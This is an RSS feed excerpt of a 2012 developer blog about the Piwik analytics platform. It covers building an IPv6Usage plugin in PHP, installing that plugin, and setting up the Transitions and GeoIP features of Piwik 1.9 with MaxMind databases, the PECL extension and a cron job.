<p>For each month that Piwik tracks data, it creates two tables in the database. They are named  <code>_archive_YEAR_MONTH</code> and <code>_archive_numeric_YEAR_MONTH</code> and contain the processed data for that month.</p>
<p>The Piwik Documentation explains what those tables are used for:</p>
<blockquote>
<p>The table <code>archive_numeric_*</code> is used to store plain numbers. The value field has a FLOAT type which means you can save integers and floats. For example, it is used to record the number of visitors over a given period and the number of distinct search engines keywords used.</p>
</blockquote>
<blockquote>
<p>The table <code>archive_blob_*</code> stores anything that is not a number. A BLOB is a binary data type that can contain anything from strings and compressed strings to serialized arrays and serialized objects. For example, it is used to store the search engine keywords that the visitors used over a given period and the visitors' browsers.</p>
</blockquote>
<p>Plugins can now fetch the processed data from the archive tables and fill graphs with data or use the data in other ways.</p>
<h1 id="thepluginarchitecture">The Plugin Architecture</h1>
<h2 id="directorystructure">Directory structure</h2>
<p>Plugins are located in the <strong>plugins/</strong> directory of your Piwik installation. Each plugin resides in its own subdirectory.</p>
<pre><code class="language-text">plugins/
|-- VisitFrequency
|   |-- API.php
|   |-- Controller.php
|   |-- templates
|   |   |-- index.tpl
|   |   `-- sparklines.tpl
|   `-- VisitFrequency.php
</code></pre>
<p>Most plugins consist of no more than three PHP files and a number of view templates.</p>
<h2 id="basiclayout">Basic layout</h2>
<p>The plugin system has a number of conventions that need to be followed in order to make a plugin work with Piwik. The first convention is, that a plugin has to have a PHP file with the same name as the directory it resides in. So if you build a <strong>VisitorForecast</strong> plugin, you need to create a directory called <strong>VisitorForecast</strong> with a <strong>VisitorForecast.php</strong> file.</p>
<p>Continuing with the idea of a VisitorForecast plugin, you need to create a class called <strong>Piwik_VisitorForecast</strong> that extends the <a href="http://dev.piwik.org/trac/browser/trunk/core/Plugin.php"><strong>Piwik_Plugin</strong></a> class:</p>
<pre><code class="language-php">&lt;?php
class Piwik_VisitorForecast extends Piwik_Plugin { }
</code></pre>
<p><strong>Piwik_Plugin</strong> is an abstract class with an abstract method called <strong>getInformation()</strong> that you need to implement. You can take a look at other plugins to see what the function has to return, or you just take a look at the abstract class in <code>core/Plugin.php</code>.</p>
<pre><code class="language-php">/**
* Returns the plugin details
* - 'description' =&gt; string        // 1-2 sentence description of the plugin
* - 'author' =&gt; string             // plugin author
* - 'author_homepage' =&gt; string    // author homepage URL (or email &quot;mailto:youremail@example.org&quot;)
* - 'homepage' =&gt; string           // plugin homepage URL
* - 'license' =&gt; string            // plugin license
* - 'license_homepage' =&gt; string   // license homepage URL
* - 'version' =&gt; string            // plugin version number; examples and 3rd party plugins must not use Piwik_Version::VERSION; 3rd party plugins must increment the version number with each plugin release
* - 'translationAvailable' =&gt; bool // is there a translation file in plugins/your-plugin/lang/* ?
* - 'TrackerPlugin' =&gt; bool        // should we load this plugin during the stats logging process?
*
* @return array
*/
abstract public function getInformation();
</code></pre>
<p>The method must return an associative array with information about the plugin. An implementation for the VisitorForecast plugin could look like this:</p>
<pre><code class="language-php">&lt;?php
class Piwik_VisitorForecast extends Piwik_Plugin {
  public function getInformation() {
    return array(
      'description' =&gt; 'Provide a forecast of visits for the day',
      'author' =&gt; 'Your Name',
      'author_homepage' =&gt; 'http://yourwebsite.com',
      'homepage' =&gt; 'http://example.com',
      'license' =&gt; 'GPL v3 or later',
      'license_homepage' =&gt; 'http://www.gnu.org/licenses/gpl.html',
      'version' =&gt; '0.1',
      'translationAvailable' =&gt; false,
    );
  }
}
</code></pre>
<h2 id="translations">Translations</h2>
<p>Piwik is available in over 45 languages! When you build your plugin you might want to utilize the internationalization features Piwik provides for you and provide translations for your custom plugin.</p>
<p>To tell Piwik that your plugin provides translations, you need to set <code>'translationAvailable' =&gt; true'</code> in getInformation. Piwik will now look for translation strings in the <strong>lang/</strong> subdirectory of the plugin. For each language you want to provide translations for create a php file with the <a href="http://en.wikipedia.org/wiki/List_of_ISO_639-1_codes">ISO 639-1 alpha-2</a> name for that language.</p>
<p>Each language file consists of an associative array called <code>$translations</code> that maps a key to a translation. The keys are shared across all translation files, their translation changes depending on the language. By convention the keys are prefixed with the plugin name, so a translation file in the VisitorForecast plugin for English could look like this:</p>
<pre><code class="language-php">&lt;?php
$translations = array(
  'VisitorForecast_PluginDescription' =&gt; 'Provide a forecast of visits for the day'
);
</code></pre>
<p>Try to give the translation keys descriptive names, so that translators have an easy job! Piwik provides a function called <strong>Piwik_Translate($key)</strong> that returns the translation for a given key, depending on the currently selected language of the user.</p>
<pre><code class="language-php">public function getInformation() {
  return array(
    'description' =&gt; Piwik_Translate('VisitorForecast_PluginDescription'),
    [..]
  );
}$
</code></pre>
<h2 id="hooks">Hooks</h2>
<p>Internally Piwik uses a PHP package called <a href="http://pear.php.net/package/Event_Dispatcher/">EventDispatcher</a>. Plugins can hook a function to a predefined event, that gets called when the event is triggered. You can also define events so that other plugins create hooks for them.</p>
<p>If your plugin needs to register to any hooks, you need to implement the <strong>getListHooksRegistered</strong> method in your plugin class. The method must return an array, mapping the hook name to a callback function. Lets say, your plugin wants to be notified of each new visitor. Piwik has a hook called <em>Tracker.newVisitorInformation</em> that is triggered each time Piwik tracks a new visitor.</p>
<pre><code class="language-php">public function getListHooksRegistered()
{
  return array( 'Tracker.newVisitorInformation' =&gt; 'addVisitorInformation' );
}

public function addVisitorInformation($notification) {
{
     // we get the argument by reference associated with the hook
     $visitorInfo =&amp; $notification-&gt;getNotificationObject();
     // get the referrer_url
     $url = $visitorInfo['referer_url'];
     // do something with the url
}
</code></pre>
<p>Callback functions can retrieve a notification object when the event is triggered. The content of the object depends on the hook. In this case the object is an array, containing the visitor information.</p>
<p>The Piwik Documentation has a <a href="http://piwik.org/docs/plugins/hooks/">list of hooks</a> that describe when each hook is triggered and what type of object they provide.</p>
<h2 id="functions">Functions</h2>
<p>A plugin can access a number of functions that are provided by Piwik to interact with the database, handle user access, add and modify menus and access GET/POST-request parameters. A maintained <a href="http://piwik.org/docs/plugins/functions/">list of functions</a> can be found in the Piwik documentation.</p>
<h2 id="controller">Controller</h2>
<p>Piwik follows the <a href="http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller">Model-View-Controller</a> pattern aiming at separating data presentation and data processing. All plugins follow the MVC pattern. We will later see that all data processing, if any, is done in the PluginName.php - effectively making it the model.</p>
<p>The controller, in a Piwik plugin has to be in a file called <strong>Controller.php</strong>. Again, by convention the controller class has to be named <strong>Piwik_PluginName_Controller</strong> and has to extend the <strong>Piwik_Controller</strong> class. All public methods in a controller can be called from the web.</p>
<pre><code class="language-php">class Piwik_VisitorForecast_Controller extends Piwik_Controller
{
  public function index() {
    $view = Piwik_View::factory('index');
    echo $view-&gt;render();
  }
}
</code></pre>
<p>When you visit your local Piwik installation you can render the page in Piwik by visiting <code>index.php?module=VisitorForecast&amp;action=index</code>. Module in this case is the name of your plugin and the action the name of the method in the controller.</p>
<h2 id="views">Views</h2>
<p>Piwik uses the <a href="http://www.smarty.net/">Smarty</a> template engine to render views. Views are stored in the <strong>templates/</strong> directory of your plugin and have the <code>.tpl</code> file extension.</p>
<p>There are several plugins for Smarty in Piwik. One being access to the translation function by which you can translate any key to its translation.</p>
<pre><code class="language-html">&lt;h1&gt;VisitorForecast&lt;/h1&gt;
&lt;p&gt;{'VisitorForecast_PluginDescription'|translate}&lt;/p&gt;
</code></pre>
<p>Views can be accessed in the controller using the <strong>Piwik_View</strong> class. Calling <code>Piwik_View::factory('index')</code> in your controller, you get an instance of your view in <strong>index.tpl</strong>. You can then set variables from the controller to make them available to the view. The <code>render</code> method renders out the template.</p>
<pre><code class="language-php">$view = Piwik_View::factory('index');
$view-&gt;myVariable = 12;
echo $view-&gt;render();
</code></pre>
<p>Inside the view you can access the variable by its name and render it with <code>{$myVariable}</code>.</p>
<h2 id="api">API</h2>
<p>All the data in Piwik is available through simple APIs. Plugins can extend the API to provide their data in various formats like XML, JSON, PHP or CSV.</p>
<p>To provide an API you need to create a file called <strong>API.php</strong>, with a class named <strong>Piwik_PluginName_API</strong>. All public methods in this class are exposed via Piwiks API.</p>
<h1 id="theipv6usageplugin">The IPv6Usage plugin</h1>
<p>Piwik supports IPv6 since version 1.4. While most people in 2012 are still using IPv4 the number of users having native IPv6 steadily increases. If your website is reachable over IPv6 it might be interesting to see how many visitors are actually browsing your website with it. We can use Piwik to determine which version of the Internet Protocol a visitor is using.</p>
<p>If you are not sure, whether you have IPv6 you can do a <a href="http://test-ipv6.com/">check</a> online.</p>
<h2 id="prerequisites">Prerequisites</h2>
<p>Before we can start writing code, we need to install Piwik on our local machine. You can do this by installing PHP, MySQL and a webserver of your choice manually using your package manager (e.g. apt-get) and set them up properly.</p>
<p>A better alternative to start off quickly is using the <a href="http://piwik.org/blog/2012/08/get-started-with-piwik-development-with-puppet-and-vagrant/">Piwik Puppet Module + Vagrant</a>. This will setup a preconfigured virtual machine and lets you start Piwik development instantly.</p>
<h2 id="ipv6usagephp">IPv6Usage.php</h2>
<p>To start with the plugin we need to create the <strong>IPv6Usage.php</strong>, create a class called <strong>Piwik_IPv6Usage</strong> and extend from <strong>Piwik_Plugin</strong>. I will not show the implementation of <em>getInformation</em> here, as it is trivial to implement.</p>
<p>First we need to think about how we store our data. Since we want to track the IP version of each user, it is the best to add a field to the <em>log_visit</em> table. We can do this inside the <code>install()</code> method of our plugin, which gets automatically called when our plugin is activated the first time.</p>
<pre><code class="language-php">public function install()
{
  // add column location_ip_protocol in the visit table
  $query = &quot;ALTER IGNORE TABLE `&quot;.Piwik_Common::prefixTable('log_visit').&quot;` &quot; .
                   &quot;ADD `location_ip_protocol` TINYINT( 1 ) NULL &quot;;

  // if the column already exist do not throw error. Could be installed twice...
  try {
    Piwik_Exec($query);
  }
  catch(Exception $e){
  }
}
</code></pre>
<p>These few lines will add a column called <em>location_ip_protocol</em> to the <em>log_visit</em> table. We will later just record a 4 if the user is on IPv4, and a 6 if the user is on IPv6.</p>
<p>Next thing we need to think about, is what kind of hooks we need to register to. In order to track new visits and determine their IP version, we need to register to <em>Tracker.newVisitorInformation</em>. We also want to process the data to display it in graphs, so we also need to register to the <em>ArchiveProcessing_Day.compute</em> and <em>ArchiveProcessing_Period.compute</em> hooks.</p>
<pre><code class="language-php">public function getListHooksRegistered()
{
  return array(
    'Tracker.newVisitorInformation' =&gt; 'logIPv6Info',
    'ArchiveProcessing_Day.compute' =&gt; 'archiveDay',
    'ArchiveProcessing_Period.compute' =&gt; 'archivePeriod',
    'WidgetsList.add' =&gt; 'addWidget',
    'Menu.add' =&gt; 'addMenu'
  );
}
</code></pre>
<p>We also want a separate menu entry to show off some graphs and define a widget to show the percentage of visitors using IPv6. For this Piwik defines two hooks called <em>Menu.Add</em> and <em>WidgetList.add</em>.  We now need to define all callback methods and implement them.</p>
<pre><code class="language-php">public function addMenu()
{
  Piwik_AddMenu('General_Visitors', 'IPv6 Usage', array('module' =&gt; 'IPv6Usage', 'action' =&gt; 'index'));
}
</code></pre>
<p><strong>Piwik_AddMenu</strong> adds a new menu entry. The first argument defines the name of the menu on the first level, the second is the label of the submenu, and the third argument an array of URL parameters. In this case, we should get a submenu labelled &quot;IPv6Usage&quot; that, when clicked, shows the index action of our controller (which we yet have to implement).</p>
<pre><code class="language-php">public function addWidget() {
  Piwik_AddWidget( 'General_Visitors', 'IPv6Usage_WidgetProtocolDescription', 'IPv6Usage', 'getIPv6UsageGraph');
}
</code></pre>
<p>Adding a widget is quite similar. The first argument is the category in which the widget will be listed, the second the title of the widget. Third and fourth argument are the name of the controller and the name of the method to be called.</p>
<p>Now we get to the interesting part of logging data to the database. For each visit, Piwik will call the <em>logIPv6Info</em> callback method. This method needs to determine the IP version the visitor is using, and set it in the <em>visitorInfo</em> array.</p>
<pre><code class="language-php">public function logIPv6Info($notification) {
  // retrieve the array of the visitors data from the notification object
  $visitorInfo =&amp; $notification-&gt;getNotificationObject();
  // Fetch the users ip
  $ip = $visitorInfo['location_ip'];
  // Check the type of the IP (v4 or v6)
  $protocol = Piwik_IP::isIPv4($ip) ? 4 : 6;
  $visitorInfo['location_ip_protocol'] = $protocol;
}
</code></pre>
<p>The <strong>Piwik_IP</strong> class provides a convenience method to check whether an IP is in IPv4 format. We can assume that if the IP from <em>location_ip</em> is not an IPv4 address, that it is an IPv6 address. We modify the <code>$visitorInfo</code> array and set the value for <em>location_ip_protocol</em>. Piwik automatically converts that array into a database query and inserts all values into the <em>log_visit</em> table.</p>
<h3 id="archiving">Archiving</h3>
<p>The final step is to implement archiving of our data. The <em>archiveDay</em> callback method is called for each website and day that has to be processed. The notification object is an instance of <em>Piwik_ArchiveProcessing</em>. We need to fetch the number of visits for both protocol versions from the database and limit the query to only count visits in the date range that has to be archived.</p>
<pre><code class="language-php">public function archiveDay($notification)
{
  /* @var $archiveProcessing Piwik_ArchiveProcessing */
  $archiveProcessing = $notification-&gt;getNotificationObject();

  if(!$archiveProcessing-&gt;shouldProcessReportsForPlugin($this-&gt;getPluginName())) return;

  $select = &quot;location_ip_protocol, COUNT( location_ip_protocol ) as count&quot;;
  $from = &quot;log_visit&quot;;

  $where = &quot;log_visit.visit_last_action_time &gt;= ?
                   AND log_visit.visit_last_action_time &lt;= ?
                   AND log_visit.idsite = ?
                   AND location_ip_protocol IS NOT NULL
                   GROUP BY location_ip_protocol&quot;;

  $bind = array(
    $archiveProcessing-&gt;getStartDatetimeUTC(),
    $archiveProcessing-&gt;getEndDatetimeUTC(), 
    $archiveProcessing-&gt;idsite
  );

  $query = $archiveProcessing-&gt;getSegment()-&gt;getSelectQuery($select, $from, $where, $bind);
  $rowSet = $archiveProcessing-&gt;db-&gt;query($query['sql'], $query['bind']);

  $data = array(
    'IPv6Usage_IPv4' =&gt; 0,
    'IPv6Usage_IPv6' =&gt; 0
  );

  while($row = $rowSet-&gt;fetch())
  {
    $key = sprintf(&quot;%s%d&quot;, 'IPv6Usage_IPv', $row['location_ip_protocol']);
    $data[$key] = $row['count'];
  }

  foreach($data as $key =&gt; $value)
  {
    $archiveProcessing-&gt;insertNumericRecord($key, $value);
  }
}
</code></pre>
<p>After getting the numbers from the database we can call the method <em>insertNumericRecord($key, $value)</em> on the notification object to archive the values.</p>
<h2 id="controllerphp">Controller.php</h2>
<p>In the controller we want to do two things. We want to display a pie chart, showing us the proportion of visits by protocol and we want to render a basic view.</p>
<p>Rendering a basic view is very easy. You just need to instantiate your view template (we will come to that in a minute) and call the <em>render()</em> method on it.</p>
<pre><code class="language-php">public function index() {
  $view = Piwik_View::factory('index');
  $this-&gt;setPeriodVariablesView($view);
  $view-&gt;graphUsageEvolution = $this-&gt;getIPv6UsageEvolutionGraph( true, array('IPv6Usage_IPv4', 'IPv6Usage_IPv6') );
  echo $view-&gt;render();
}
</code></pre>
<p>The index template will render a graph, therefore we assign the rendered graph to a variable called <em>graphUsageEvolution</em>.</p>
<pre><code class="language-php">public function getIPv6UsageEvolutionGraph( $fetch = false, $columns = false)
{
  if(empty($columns))
  {
    $columns = Piwik_Common::getRequestVar('columns');
    $columns = Piwik::getArrayFromApiParameter($columns);
  }

  $documentation = Piwik_Translate('IPv6Usage_ProtocolUsageEvolution');

  // Note: if you edit this array, maybe edit the code below as well
  $selectableColumns = array(
    'IPv6Usage_IPv4',
    'IPv6Usage_IPv6',
    'nb_visits',
    'nb_uniq_visitors'
  );

  $view = $this-&gt;getLastUnitGraphAcrossPlugins($this-&gt;pluginName, __FUNCTION__, $columns,
                   $selectableColumns, $documentation);

  return $this-&gt;renderView($view, $fetch);
}
</code></pre>
<p>This method is a little more complex. It takes two arguments, the first is used in the call to <em>renderView</em> and if set to true will make it return the rendered view instead of printing it out. The second argument lets you filter the list of shown columns.</p>
<p>Now <code>$selectableColumns</code> is an array in which we specify which columns should be selectable in the graph. Finally the call to <em>getLastUnitGraphAcrossPlugins</em> creates the graph by calling <strong>API.get</strong> internally and selecting the columns that were requested.</p>
<h2 id="views">Views</h2>
<p>Right now, our plugin only has one simple template. It just renders the evolution graph that is created in the controller.</p>
<pre><code class="language-html">&lt;h2&gt;{'Referers_Evolution'|translate}&lt;/h2&gt;
{$graphUsageEvolution}
</code></pre>
<h1 id="testing">Testing</h1>
<p>Testing is a very important part of development. However testing a plugin in Piwik is not an easy task, as most of the time you will want to emulate visitors with certain settings on a page and make sure your plugin processes everything right.</p>
<p>I suggest you take a look at how other plugins are tested and try to come up with ways to test your plugin. You can also take a look at the <strong>VisitorGenerator</strong> plugin that comes with Piwik. It allows you to generate random visits and actions to fill up your database.</p>
<h1 id="conclusion">Conclusion</h1>
<p>This article provided an extensive description of the Piwik plugin architecture and used the IPv6Usage plugin as an implementation example.</p>
<p>When developing your own plugin, the Piwik documentation will be of great help. If you are stuck with a problem a look at the implementation of other plugins can help a lot.<br>
If you have any questions, feel free to leave a comment. I will update the documentation with your feedback.</p>
]]></content:encoded></item><item><title><![CDATA[Tracking the IPv6 reach of your Website with Piwik]]></title><description><![CDATA[<p><a href="http://en.wikipedia.org/wiki/IPv6">IPv6</a> is slowly adapted by ISPs around the globe. If your website is accessible with both IPv4 and IPv6 it might be interesting to see how users are accessing your website and how it changes overs time.</p>
<h1 id="ipv6usage">IPv6Usage</h1>
<p>The IPv6Usage plugin for Piwik allows you to track how many of</p>]]></description><link>http://geekmonkey.org/2012/10/tracking-the-ipv6-reach-of-your-website-with-piwik/</link><guid isPermaLink="false">5a01b4391f6c7736cb307d6b</guid><category><![CDATA[Piwik]]></category><category><![CDATA[analytics]]></category><category><![CDATA[IPv6]]></category><category><![CDATA[PHP]]></category><category><![CDATA[Plugin]]></category><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Mon, 22 Oct 2012 10:00:00 GMT</pubDate><media:content url="http://geekmonkey.org/content/images/2017/01/ipv6-plugin.png" medium="image"/><content:encoded><![CDATA[<img src="http://geekmonkey.org/content/images/2017/01/ipv6-plugin.png" alt="Tracking the IPv6 reach of your Website with Piwik"><p><a href="http://en.wikipedia.org/wiki/IPv6">IPv6</a> is slowly adapted by ISPs around the globe. If your website is accessible with both IPv4 and IPv6 it might be interesting to see how users are accessing your website and how it changes overs time.</p>
<h1 id="ipv6usage">IPv6Usage</h1>
<p>The IPv6Usage plugin for Piwik allows you to track how many of your users are using IPv6. To do that it adds a single column to the <code>log_visits</code> table of your Piwik installation. By using the Piwik plugin architecture the plugin can be installed just by uploading a single folder.</p>
<h2 id="requirements">Requirements</h2>
<p>Your Piwik installation needs to be accessible over IPv6. There are <a href="http://www.sixxs.net/wiki/IPv6_Enabled_Hosting">several hosters</a> that provide IPv6 with their web hosting plans.</p>
<p>Make sure your domain (and the one of your Piwik installation, if they are seperate) has an AAAA-Record set. You can check this on the console:</p>
<pre><code class="language-cmd">$ host -t AAAA geekmonkey.org
geekmonkey.org has IPv6 address 2a03:2900:2:1::e3
</code></pre>
<pre><code class="language-cmd">$ nslookup
&gt; set type=AAAA
&gt; geekmonkey.org
Server:		127.0.0.1
Address:	127.0.0.1#53

Non-authoritative answer:
geekmonkey.org	has AAAA address 2a03:2900:2:1::e3
</code></pre>
<p>If you are not sure whether your IPv6 setup works you can check your website's connectivity using this <a href="http://ipv6-test.com/validate.php">webservice</a>.</p>
<h2 id="installation">Installation</h2>
<p>You have two options to install the plugin.</p>
<h3 id="manualinstallation">Manual Installation</h3>
<p>Download the latest zip from the <a href="https://github.com/halfdan/IPv6Usage">Github page</a> and unzip the package into the <strong>plugins/</strong> directory of your Piwik installation. You need to rename the created directory to <strong>IPv6Usage</strong>.</p>
<p>Now all you need to do is head to your Piwik installation and activate the plugin under <strong>Settings -&gt; Plugins</strong>.</p>
<h3 id="git">Git</h3>
<p>If you have shell access to your server and Git is installed, cd into the <strong>plugins/</strong> directory of your Piwik installation and clone the IPv6Usage repository from Github.</p>
<pre><code class="language-cmd">cd /path/to/piwik/plugins/
git clone https://github.com/halfdan/IPv6Usage.git
</code></pre>
<p>Now all you need to do is head to your Piwik installation and activate the plugin under <strong>Settings -&gt; Plugins</strong>.</p>
<h1 id="reports">Reports</h1>
<p>The plugin provides two widgets to compare IPv4 to IPv6 usage. You can find both widgets under <strong>Visitors</strong> when adding Widgets through the dashboard.</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/ipv6-by-protocol.png" alt="Tracking the IPv6 reach of your Website with Piwik"></p>
<p>The pie chart shows you the number of visits by protocol version in proportion to the total number of visits.</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/ipv6-evolution.png" alt="Tracking the IPv6 reach of your Website with Piwik"></p>
<p>The &quot;IP Protocol Usage over Time&quot; Widget shows you the evolution of visits by protocol over time.</p>
<p>You can also view the statistics the plugin provides using the Piwik Mobile App:</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/ipv6-android.png" alt="Tracking the IPv6 reach of your Website with Piwik"></p>
<h1 id="accuracy">Accuracy</h1>
<p>The way IPv6 works today makes it hard to track the exact numbers of people that could potentially access your website with IPv6. Most users will be in a dual-stack environment where they have IPv4 and IPv6 connectivity. Depending on the browser and OS settings a dual-stack user might still use IPv4 even if IPv6 is available on your website. The plugin cannot check whether IPv6 is potentially available, it does only track those users that are using IPv6 in the tracking request to your Piwik installation.</p>
<p>There are <a href="http://askubuntu.com/questions/9181/how-to-let-the-browser-prefer-ipv6-over-ipv4">ways</a> users can force IPv6 over IPv4, but in most cases users will just not care how a website is accessed.</p>
]]></content:encoded></item><item><title><![CDATA[Transitions and GeoIP in Piwik 1.9]]></title><description><![CDATA[<p>I am using Piwik for over three years now and have seen it grown from version 0.4 to todays release of Piwik 1.9.</p>
<h2 id="updateto19">Update to 1.9</h2>
<p>Piwik will tell you to upgrade to the latest version on the top right corner. Once you click on the link</p>]]></description><link>http://geekmonkey.org/2012/10/transitions-and-geoip-in-piwik-1-9/</link><guid isPermaLink="false">5a01b4391f6c7736cb307d6a</guid><category><![CDATA[Piwik]]></category><category><![CDATA[GeoIP]]></category><category><![CDATA[analytics]]></category><category><![CDATA[php-fpm]]></category><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Tue, 16 Oct 2012 10:00:00 GMT</pubDate><media:content url="http://cdn.geekmonkey.org/teasers/images/000/000/018/normal/piwik19.png?1356743186" medium="image"/><content:encoded><![CDATA[<img src="http://cdn.geekmonkey.org/teasers/images/000/000/018/normal/piwik19.png?1356743186" alt="Transitions and GeoIP in Piwik 1.9"><p>I am using Piwik for over three years now and have seen it grown from version 0.4 to todays release of Piwik 1.9.</p>
<h2 id="updateto19">Update to 1.9</h2>
<p>Piwik will tell you to upgrade to the latest version on the top right corner. Once you click on the link to upgrade you will be guided through a very easy upgrade process.</p>
<p><img src="http://cdn.geekmonkey.org/assets/files/000/000/017/screen/piwik19_update.png?1356779685" alt="Transitions and GeoIP in Piwik 1.9"></p>
<p>On this page, select to &quot;Update Automatically&quot;. After the process has finished you will see the confirmation that everything worked perfectly.</p>
<p><img src="http://cdn.geekmonkey.org/assets/files/000/000/018/screen/piwik19_update_successful.png?1356779688" alt="Transitions and GeoIP in Piwik 1.9"></p>
<p>Piwik 1.9 comes with a major database upgrade which, depending on your database size, might take a long time to execute. No matter what you do, make sure you have an backup of your database just in case anything goes wrong.</p>
<h2 id="transitions">Transitions</h2>
<p>At first sight, not much has changed in the Piwik UI. Go to <strong>Actions -&gt; Page Titles</strong> and hover one of the entries. You will see two icons, the right one being the evolution of this entry and the left icon will show the transition interface.</p>
<p><img src="http://cdn.geekmonkey.org/assets/files/000/000/019/screen/piwik_show_transition.png?1356779692" alt="Transitions and GeoIP in Piwik 1.9"></p>
<p>The transition interface will show you how your users got to that page and how the proceeded to the next page.</p>
<p><img src="http://cdn.geekmonkey.org/assets/files/000/000/016/screen/piwik_transitions.png?1356779681" alt="Transitions and GeoIP in Piwik 1.9"></p>
<p>You can read more about <a href="http://piwik.org/docs/transitions/">Piwik Transitions</a> and how to work with them in the Piwik docs.</p>
<h2 id="geoip">GeoIP</h2>
<p>Piwik always offered a way to detect a users country based on the language they were using.</p>
<blockquote>
<p>The default location provider guesses a visitor's country based on the language they use. This is not very accurate, so we recommend installing and using GeoIP.</p>
</blockquote>
<p>As this is not a reliable and satisfactory way to determine where your users are from, Piwik now comes bundled with the <a href="http://dev.piwik.org/trac/ticket/45">GeoIP plugin</a>, which was separately available for the last five years.</p>
<p>When properly installed, Piwik 1.9 will report the city of the visitors in the Live! Widget when you hover the country flag.</p>
<p><img src="http://cdn.geekmonkey.org/assets/files/000/000/020/screen/piwik_geo_live.png?1356779695" alt="Transitions and GeoIP in Piwik 1.9"></p>
<p>There also is a new widget available that you can add to the dashboard to view the cities you website is most popular in.</p>
<p><img src="http://cdn.geekmonkey.org/assets/files/000/000/021/screen/piwik_geo_city.png?1356779699" alt="Transitions and GeoIP in Piwik 1.9"><br>
(City Widget)</p>
<h3 id="installgeoipphp">Install GeoIP PHP</h3>
<p>Installing the GeoIP database is easy. <a href="http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz">Download</a> the database from Maxmind to your <strong>misc/</strong> directory and unpack it.</p>
<pre><code class="language-cmd">cd /var/www/piwik/misc
wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
gunzip GeoLiteCity.dat.gz
</code></pre>
<p>In the Piwik UI go to <strong>Settings -&gt; Geolocation</strong> and select &quot;GeoIP (Php)&quot; as geolocation provider. As the documentation states, this provider is great if you don't have many visits, but will become a performance bottleneck if you have a lot of page visits. The problem is, that the PHP provider has to load the database for each request.</p>
<h3 id="installgeoippeclwithphpfpm">Install GeoIP PECL with PHP-FPM</h3>
<p>A faster solution is a PECL (PHP Extension Community Library) extension. Combined with PHP-FPM this solution is very fast and therefore the recommended solution by Piwik. To install the extension (I am assuming a self-compiled PHP on a *NIX here), download the sources from the <a href="http://pecl.php.net/package/geoip">PECL website</a>:</p>
<pre><code class="language-bash">cd /opt
wget -O - http://pecl.php.net/get/geoip &gt; geoip-latest.tgz
tar -xvf geoip-latest.tgz
cd geoip-1.0.8
phpize .
./configure
make &amp;&amp; make install
</code></pre>
<p>This will install the geoip extension on your system. Now you will need to tell PHP to load it. Find your <strong>php.ini</strong> and add the following line to the <code>[PHP]</code> section:</p>
<pre><code class="language-text">extension=geoip.so
</code></pre>
<p>Additionally you need to tell the extension where to look for the GeoIP database(s). Find the <code>[gd]</code> section and prepend the following snippet:</p>
<pre><code class="language-text">[geoip]
geoip.custom_directory = /usr/share/GeoIP/
</code></pre>
<p>Adjust the directory to where you store your GeoIP database.</p>
<h3 id="updateallpreviousvisitswithgeoipinformation">Update all previous visits with GeoIP information</h3>
<p>Visits that have not been recorded with Piwik 1.9 do not have have any geolocation data. The developers were aware of the situation and provide a simple script that re-evaluates all previously tracked visits and fills in the missing geolocation data (see <a href="http://piwik.org/faq/how-to/#faq_167">link</a>.</p>
<pre><code class="language-cmd"># cd /var/www/piwik/misc/others
# php geoipUpdateRows.php 
54893 rows to process in piwik_log_visit and piwik_log_conversion...
0% done...
2% done...
4% done...
[..]
done!
</code></pre>
<p><strong>Note:</strong> Providers reallocate IP address ranges very often, so the further back you go with your data (e.g. visits from over 2 years ago), the more errors you will get.</p>
<h3 id="automaticallyupdategeoipdatabase">Automatically update GeoIP database</h3>
<p>To avoid wrong geolocation information, you should update your GeoIP database regularly. Create a bash script in the <strong>misc/</strong> directory of your piwik installation.</p>
<pre><code class="language-bash">DIR=&quot;$( cd &quot;$( dirname &quot;${BASH_SOURCE[0]}&quot; )&quot; &amp;&amp; pwd )&quot;
cd $DIR
wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
rm GeoLiteCity.dat
gunzip GeoLiteCity.dat.gz
</code></pre>
<p>The Maxmind database is updated on the <a href="http://www.maxmind.com/en/geolite">first tuesday of every month</a>, so lets schedule our cronjob to the first wednesday of every month. The crontab file has the following format:</p>
<ul>
<li>
<ol>
<li>Minute (0-59)</li>
</ol>
</li>
<li>
<ol start="2">
<li>Hour (0-23)</li>
</ol>
</li>
<li>
<ol start="3">
<li>Day of the Month (1-31)</li>
</ol>
</li>
<li>
<ol start="4">
<li>Month of the Year (1-12)</li>
</ol>
</li>
<li>
<ol start="5">
<li>Day of the Week (0-6) 0 being Sunday.</li>
</ol>
</li>
<li>
<ol start="6">
<li>the executable string</li>
</ol>
</li>
</ul>
<p>Now sadly the &quot;day of week&quot; does not work as one would expect, as cron will execute a line if &quot;day of the month&quot; or &quot;day of the week&quot; matches, making it impossible to configure it to only run a command on the first Wednesday. With a little help of bash we can make it work: <code>[ &quot;$(date '+%u')&quot; == 3]</code>. This effectively gives us the following entry for the cronjob (type <code>crontab -e</code> to edit your cronjobs):</p>
<pre><code class="language-cmd">0    0    1-7    *    *    [ &quot;$(date '+%u')&quot; == 3] &amp;&amp; /path/to/update_geodb.sh
</code></pre>
<h2 id="conclusions">Conclusions</h2>
<p>Piwik 1.9 comes with several new features. In this article we have seen the Transitions and GeoIP plugin that will help you gain a better understanding on how visitors use your page and where they are from.</p>
<p>SiteSearch is a plugin not covered in this article. It enables you to track how visitors use the search functionality on your page and which results they pick.</p>
<p>All in all, Piwik has grown to a very mature and feature-rich analytics solution with a lot of great features still to come in <a href="http://piwik.org/roadmap/">Piwik 2.0</a>.</p>
